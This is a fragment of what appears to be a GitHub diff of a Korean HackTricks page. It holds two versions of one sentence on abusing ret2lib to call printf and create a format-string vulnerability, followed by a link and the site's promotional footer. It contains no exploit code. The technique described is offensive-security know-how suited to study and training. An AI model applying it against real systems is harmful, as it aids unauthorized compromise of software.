이는 기본적으로 `printf` 형식 문자열 취약점으로 변환하기 위해 **Ret2lib를 남용하는 것**을 의미하며, `ret2lib`를 사용하여 printf를 호출하여 해당 값을 악용하는 것을 의미합니다 (의미는 없지만 가능합니다):
|
||||
이는 기본적으로 **Ret2lib를 남용하여 `printf` 형식 문자열 취약점으로 변환**하는 것을 의미하며, `ret2lib`를 사용하여 printf를 호출하여 취약점을 이용할 값을 전달합니다 (의미는 없지만 가능합니다):
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue